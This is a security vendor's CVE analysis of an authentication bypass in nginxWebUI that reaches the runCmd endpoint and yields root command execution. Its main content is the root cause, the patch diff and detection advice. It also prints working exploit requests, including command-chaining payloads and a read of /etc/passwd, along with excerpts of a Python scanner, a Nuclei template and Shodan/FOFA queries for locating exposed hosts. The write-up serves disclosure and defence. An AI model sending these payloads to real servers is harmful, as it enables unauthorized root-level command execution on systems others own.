Automated Threat Modeling

Brief Summary: nginxWebUI CVE-2023-54419 Authentication Bypass and Remote Command Execution via runCmd

A summary of CVE-2023-54419, a case sensitivity authentication bypass in nginxWebUI that lets unauthenticated attackers reach the runCmd endpoint for remote command execution. Includes PoC, patch, and detection details.

CVE Analysis

9 min read

Gaurav Sarraf
Gaurav Sarraf

2026-11-18

Brief Summary: nginxWebUI CVE-2023-54419 Authentication Bypass and Remote Command Execution via runCmd

Introduction

A case sensitivity mismatch in nginxWebUI let unauthenticated attackers reach a command execution endpoint by changing the capitalization of one path segment. Because nginxWebUI often runs with root privileges to manage system level Nginx operations, a single GET request to a case variant path could return command output running as root.

nginxWebUI (the cym1102/nginxWebUI project) is a web based tool for configuring and managing Nginx. It covers HTTP and TCP forwarding, reverse proxy, load balancing, certificate management, and administration of multiple Nginx servers and server groups. It is distributed as an open source Java application via GitHub. Its operational role matters here: the project documentation states it needs root privileges to run system commands, which shapes the impact of any command execution flaw.

Technical Information

The vulnerable functionality is the runCmd endpoint at /AdminPage/conf/runCmd. The root cause, verified against the vendor fix, lives in src/main/java/com/cym/config/AppFilter.java.

The login and authentication filter performed its admin page access check case sensitively, using a check equivalent to ctx.path().contains("/adminPage/"). The underlying Solon router, however, matched routes case insensitively. That disagreement is the whole bug. A request to a case variant path such as /AdminPage/conf/runCmd still reached the runCmd controller, but it evaded the /adminPage/ login interceptor, so no authentication was required. The access check and the routing check disagreed about what counted as the same path, and attackers used that gap to skip the filter.

The CVE record maps the weakness to CWE-178, Improper Handling of Case Sensitivity. This is not a weak password issue: the reported path bypass avoids the login check entirely.

Once a request reaches the controller, the cmd parameter is passed to /bin/sh. The record notes insufficient filtering of the & and $() shell metacharacters, which enables command chaining and arbitrary OS command execution on the affected server without a valid login.

Attack flow

The exploitation primitive is a single unauthenticated GET request:

GET /AdminPage/conf/runCmd?cmd=id HTTP/1.1 Host: <target>

Step by step:

  1. The attacker sends a GET request to a case variant admin path, for example /AdminPage/conf/runCmd?cmd=id.
  2. The login interceptor compares the mixed case path against its lowercase /adminPage/ literal, does not match, and lets the request through.
  3. The case insensitive router resolves the case variant path to the admin controller mapped at /adminPage/conf.
  4. The controller executes the supplied command through /bin/sh.
  5. The server returns an HTTP 200 JSON response (Content-Type: application/json) reflecting the command output, for example uid=0(root) gid=0(root) ..., proving execution.

Because nginxWebUI needs root privileges to run system commands, the privilege level of a particular installation directly affects the consequences of this execution.

Proof of Concept

A public, working proof of concept exists, and three independent artifacts are mutually consistent. They use the same endpoint, the same bypass path casing, and the same command injection vector. The vector aligns exactly with the code path remediated in the vendor's 3.5.8 fix commit.

PoC 1: ProjectDiscovery Nuclei template (nginxwebui-runcmd-rce.yaml, marked verified). It sends a single request to {{BaseURL}}/AdminPage/conf/runCmd?cmd=id and matches on the regex uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\) in the body, an application/json header, and status 200. The Shodan discovery query is html:"nginxWebUI".

PoC 2: Goby plugin (qingchenhh/qc_poc, author "清晨", dated 2023-06-28). The FOFA/Goby query is product="nginxWebUI". Its detection steps issue:

  • GET /AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx (that is, cmd=id&&echo nginx) and check for uid= in a 200 response;
  • GET /AdminPage/conf/runCmd?cmd=cat /etc/passwd%26%26echo%20nginx and check for root:.

Note the URL encoded && (%26%26) used to demonstrate the command chaining that the server fails to filter.

PoC 3: standalone Python script (komomon/nginxWebUI_runCmd_RCE, multithreaded). The core detection logic from the repository:

def poc(url): if url.endswith("/"): path = r"AdminPage/conf/runCmd?cmd=echo%20nginxQWFAHFJKWHAFLWJALfAHFJWAKH%26%26echo%20nginx" else: path = r"/AdminPage/conf/runCmd?cmd=echo%20nginxQWFAHFJKWHAFLWJALfAHFJWAKH%26%26echo%20nginx" pocurl = url + path try: response = requests.get(url=pocurl, headers=head, verify=False, timeout=10) if response.status_code == 200: if "nginxQWFAHFJKWHAFLWJALfAHFJWAKH" in response.text: print(Fore.GREEN + f"[+]{url}RCE漏洞!!!!")

Usage is python3 nginxwebui.py -u http://target or python3 nginxwebui.py -f file.txt. It injects a unique marker string via echo ...&&echo nginx and confirms the vulnerability when the marker is reflected in the response.

These are offensive tools and should only be run against systems you own or are explicitly authorized to test.

Patch Information

The fix is upstream commit 6b8c9bc in cym1102/nginxWebUI, committed on 2023-05-19. It is the release commit that raises the project version in pom.xml from 3.4.8 to 3.5.8, so 3.5.8 is the first fixed release. The commit message is just 1, and the security fix sits inside a large feature and maintenance drop (306 additions and 130 deletions across about 38 files) that never mentions the CVE. Both NVD and the VulnCheck advisory name it as the fix commit, and VulnCheck classifies the bug as CWE-178.

Why it needed fixing. The login gate in AppFilter.doFilter() decided whether a request needed an admin session with a case sensitive string check, ctx.path().contains("/adminPage/"). The router still sent case variant paths such as /AdminPage/conf/runCmd to the admin controller, so the two checks disagreed about path identity.

1. Normalize the path before any access check (AppFilter.java). The main change lowercases the request path once, at the top of the filter, and every later check compares against that normalized value:

public void doFilter(Context ctx, FilterChain chain) throws Throwable { + String path = ctx.path().toLowerCase(); ... // 登录过滤器 - if (ctx.path().contains("/adminPage/") // - && !ctx.path().contains("/lib/") // + if (path.toLowerCase().contains("/adminPage/".toLowerCase()) // + && !path.contains("/lib/") // ... // api过滤器 - if (ctx.path().contains("/api/") // + if (path.toLowerCase().contains("/api/") //

The needle must also be lowercased ("/adminPage/".toLowerCase()) because the literal contains a capital P. Comparing a lowercased path against a mixed case literal would never match, which would make every admin route unauthenticated. The same normalization covers the global front filter static asset exclusions (/lib/, /js/, /css/) and the /api/ token filter. The patch also lowercases the allowlist checks inside adminInterceptor(), including the adminPage/login bypass:

- if (ctx.path().contains("adminPage/login")) { + if (ctx.path().toLowerCase().contains("adminPage/login".toLowerCase())) {

2. Make the router case sensitive (NginxWebUI.java). A second, independent layer works on the routing side:

- + + app.router().caseSensitive(true); });

This Solon router setting means a path must match a controller mapping's exact case to be dispatched, so a request to /AdminPage/conf/runCmd should no longer resolve to the @Mapping("/adminPage/conf") controller. Together, the two changes close the gap from both ends.

3. Tighter command dispatch in RemoteController.cmdOver(). The broad start/stop prefixes with a global replace become explicit startNginx/stopNginx tokens stripped with replaceFirst:

- if (cmd.startsWith("start") || cmd.startsWith("stop")) { - jsonResult = confController.runCmd(cmd.replace("start ", "").replace("stop ", ""), null); + if (cmd.startsWith("startNginx") || cmd.startsWith("stopNginx")) { + jsonResult = confController.runCmd(cmd.replaceFirst("startNginx ", "").replaceFirst("stopNginx ", ""), null);

4. Related hardening in the same release. These do not fix the bypass itself. LoginController adds a testLenth() guard rejecting any name, pass, code, or authCode value longer than 1000 characters on login, getAuth, and getCredit; app.yml lowers maxBodySize from 2048mb to 20mb and maxHeaderSize from 20mb to 200kb, moving the large limit to a separate maxFileSize; and dependencies are bumped (solon-parent 2.2.7 to 2.2.20, hutool-all 5.8.3 to 5.8.18, h2 2.1.210 to 2.1.214).

Scope of the fix. The diff does not change ConfController.runCmd, so it adds no new filtering of & or $() in the command sink itself. The patch fixes the authentication bypass: unauthenticated users can no longer reach the endpoint, while running commands through runCmd remains a feature reserved for authenticated administrators. Because the fix ships only as part of the 3.5.8 release commit, the practical remediation is to run 3.5.8 or later. Cherry picking just the AppFilter hunk without the router change would leave only one of the two layers in place.

Detection Methods

Two things make CVE-2023-54419 fairly easy to detect: the exploit only works against one known endpoint, /AdminPage/conf/runCmd, and the bug itself is a case mismatch. Any mixed case spelling of adminPage gets past the filter.

1. Scanning for exposed instances (active check). NVD and VulnCheck both link to the public, verified ProjectDiscovery Nuclei template (nginxwebui-runcmd-rce). It sends one unauthenticated GET request using the case variant path and runs the harmless command id. It reports a host as vulnerable only if all three conditions hold: HTTP status 200, the response header contains application/json, and the body matches the Unix id output pattern. Requiring all three keeps false positives low:

http: - method: GET path: - "{{BaseURL}}/AdminPage/conf/runCmd?cmd=id" matchers-condition: and matchers: - type: regex part: body regex: - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)' - type: word part: header words: - "application/json" - type: status status: - 200

Run it against your own nginxWebUI hosts with nuclei -id nginxwebui-runcmd-rce -u https://target. The template metadata gives the Shodan fingerprint html:"nginxWebUI". The Goby PoC (qingchenhh/qc_poc) does the same check in two OR joined variants, using /AdminPage/conf/runCmd?cmd=id%26%26echo%20nginx (200 with uid=) and cat /etc/passwd%26%26echo%20nginx (looking for root:); its asset fingerprint is the FOFA/Goby query product="nginxWebUI" || "nginxWebUI". A third party UltimateSec Nuclei template uses an arithmetic and echo payload (cmd=expr%20199812440%20-%2010079%26%26echo%20nginx) and looks for the literal string <br>nginx<br> in the response body. All of these checks execute a real, benign command on the target, so only run them where authorized.

2. Hunting in access logs (passive detection). The public tooling and root cause point to several log signs:

  • Case variant admin paths. Any request where the adminPage segment is not all lowercase (for example /AdminPage/) is a strong signal, because the legitimate UI uses lowercase /adminPage/. Match the path case insensitively, then flag anything that is not exactly adminPage.
  • runCmd with a cmd parameter from an unauthenticated source. Legitimate server to server calls go to the lowercase /adminPage/conf/runCmd and include a creditKey parameter. A runCmd request with a case variant path, no creditKey, and no session deserves a closer look.
  • Shell metacharacters in cmd. Command chaining works because & and $() are poorly filtered. Public PoCs use URL encoded && (%26%26). Values containing %26, $(, id, cat /etc/passwd, expr, or echo nginx in cmd match known scanner and exploit behavior.
  • Successful responses. On an unpatched server, an HTTP 200 JSON response to such a request means the command probably ran. Prioritize those over 302 redirects or 4xx errors.

3. Host level and threat intel context. Per NVD, the command in cmd runs through /bin/sh. On the host, look for the nginxWebUI Java process (nginxWebUI.jar) spawning sh with child commands such as id, cat, wget/curl, or anything outside its normal nginx start/stop/reload work. NVD and VulnCheck also say the Shadowserver Foundation saw exploitation in the wild as early as 2023-10-14. If you have Shadowserver honeypot or vulnerable HTTP reporting for your IP space, check those feeds. None of the reviewed sources published IP addresses, domains, or file hashes, so detection relies on the request patterns and process behavior above.

Affected Systems and Versions

NVD and VulnCheck identify nginxWebUI versions 3.0.0 to before 3.5.8 as affected, making 3.5.8 or later the prudent minimum version. Earlier 2023 notices describe narrower ranges: Sangfor reported versions up to 3.5.0, while NSFOCUS said versions 3.6.0 and later were unaffected. Those notices reflect the versions addressed at the time. For this CVE, the later NVD and VulnCheck range supports treating versions before 3.5.8 as affected. Deployments running with root privileges, as the project documentation describes, face the most serious impact from command execution.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization